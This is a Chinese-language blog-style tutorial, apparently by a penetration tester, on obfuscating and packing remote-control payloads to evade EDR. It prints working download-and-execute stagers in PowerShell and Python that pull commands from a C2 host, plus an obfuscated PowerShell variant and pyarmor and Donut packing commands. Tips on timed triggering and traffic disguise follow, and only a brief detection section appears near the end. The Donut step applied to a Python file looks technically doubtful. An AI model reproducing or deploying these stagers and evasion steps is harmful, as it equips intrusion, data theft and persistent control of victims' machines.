一、一次渗透中的意外收获
在一次授权的内部渗透测试项目中,我正通过钓鱼邮件尝试进入目标企业的内网。为了提高载荷的成功率,我构造了一个看似无害的 Excel 宏文档,里面嵌入了一个远控木马的 PowerShell 載荷。初始测试时,虽然载荷可以运行,但目标企业的 EDR(端点检测响应)系统很快就拦截了它。
这次失败让我意识到,仅靠简单的远控木马并不足以绕过现代化的防御系统。于是,我决定研究混淆和加壳技术,希望能让我的载荷逃过检测,同时提高隐匿性。在后续的渗透中,我成功绕过了 EDR,窃取了目标主机上的敏感文件,并实现了持久化控制。接下来,我会详细分享这个过程,包括工具使用、关键代码和我的陷阱设计。
---
二、混淆与加壳的基本概念
混淆和加壳是绕过杀软和 EDR 的核心技术。具体来说:
- 混淆:通过改变代码结构和可读性,让杀软和安全分析人员难以理解或检测到恶意代码的行为。例如,改变变量名、打乱顺序、使用无意义的代码片段等。
- 加壳:将恶意代码打包成加密或压缩的形式,只有在运行时才解密执行,从而隐藏恶意代码的真实样貌。
这些技术的目标是让恶意载荷看起来像普通文件,减少被检测到的风险。我的经验是,混淆和加壳的效果直接决定了载荷的隐匿性。
---
三、工具选型:谁才是最佳帮手?
在市场上,很多工具都可以用于混淆和加壳。经过反复试验,我选择了以下几款工具:
1. Python混淆器 pyarmor
Pyarmor 是一个专门用于混淆 Python 脚本的工具,可以加密源码并加入时间限制,非常适合构造免杀的 Python 远控木马。
2. PowerShell脚本混淆器 Invoke-Obfuscation
这个工具是 PowerShell 载荷混淆的神器,可以将简单的命令转换成复杂的字符串和乱码形式,绕过大部分检测。
3. Shellcode加壳工具 Donut
Donut 能将 shellcode 加壳成独立的可执行文件,并支持多种架构和语言,非常高效。
下面是这些工具在实战中的使用方法,我会结合案例详细讲解。
---
四、Payload隐匿的艺术:实战代码分享
1. 构造基础的远控载荷
我先写了一个简单的 PowerShell 載荷,任务是连接我的 C2 服务器并执行命令:
<pre><code class="language-powershell"># 远控木马的基础代码 $addr = "http://my-c2-server.com"; $cmd = Invoke-RestMethod -Uri $addr/cmd.txt; Invoke-Expression $cmd;</code></pre>
这个代码可以直接运行,但它的明文形式很容易被 EDR 检测到。于是,我用 Invoke-Obfuscation 加以混淆。

---
2. 使用 Invoke-Obfuscation 混淆 PowerShell 脚本
<pre><code class="language-powershell"># 混淆后的远控木马代码 $a = "h" + "tt" + "p://"; $b = "my-c" + "2-server.com"; $cmd = Invoke-RestMethod ($a + $b + "/cmd.txt"); Invoke-Expression ([string]::Format("{0}", $cmd));</code></pre>
通过拼接字符串和转换数据类型,这段代码变得非常隐蔽,EDR 很难在运行前判断它的真实意图。
---
3. 使用 pyarmor 加密 Python 脚本

假如目标主机支持 Python,我会用 pyarmor 对 Python 脚本进行加密操作。以下是一个完整的过程:
原始 Python 脚本:
<pre><code class="language-python">import requests url = "http://my-c2-server.com/cmd.txt" response = requests.get(url) exec(response.text)</code></pre>
使用 pyarmor 加密:
<pre><code class="language-bash"># 使用 pyarmor 对脚本进行加密 pyarmor pack -x " --exclude requests " myremote.py</code></pre>
加密后,生成的文件会包含一个运行时加密模块,源码完全不可读。
---
4. 最终加壳:使用 Donut
为了进一步隐匿,我使用 Donut 将脚本转换成独立的 shellcode:

<pre><code class="language-bash"># 将脚本转换成 shellcode donut -f 1 -o payload.bin myremote.py</code></pre>
生成的 payload.bin 可以直接注入目标进程,几乎不可能被静态检测发现。
---
五、绕过 EDR 的关键技巧
在实战中,光靠混淆和加壳还不够,我总结了以下几条绕过技巧:
1. 流量伪装
所有的 C2 通信都需要通过 HTTPS 或其他加密通道,避免明文数据被发现。
2. 定时触发
恶意载荷不要一直处于活动状态,可以定时触发或等待外部信号,以降低暴露风险。
3. 多层混淆
针对载荷的每一层代码,都使用不同的混淆方式。例如,PowerShell 和 Python 分别使用专属工具。
---
六、如何检测和防御?
虽然我是从攻击者的角度进行研究,但作为安全研究员,我也会思考如何检测这些隐匿技术。以下是一些检测和防御建议:
1. 行为分析
通过监控进程行为和网络请求,发现异常模式。例如,PowerShell 的自动下载行为就是一个明显的异常。
2. 沙箱技术
用沙箱运行可疑文件,观察其真实行为。加壳的文件在沙箱中可能会暴露其解密过程。
3. 规则更新
EDR 的规则库需要不断更新,以应对新的混淆技术。例如,通过特征发现 Invoke-Obfuscation 的混淆方式。

---
七、实战中的经验分享
有几次,我的载荷成功绕过了防御,但也有几次失败经历让我印象深刻:
- 一次成功的绕过
我在一个环境中使用了多层混淆和加壳技术,载荷顺利绕过 EDR,获取了目标文件。
- 一次失败的教训
我尝试直接运行未加壳的 payload,结果被 EDR 秒杀。这让我深刻意识到,隐匿是渗透的基础。
最后的建议是:在实际攻防中,不要迷信任何一个工具,混淆、加壳和流量伪装必须结合使用,才能最大化绕过检测的几率。
---
声明:本文仅限授权安全测试和技术研究使用,请勿用于非法用途。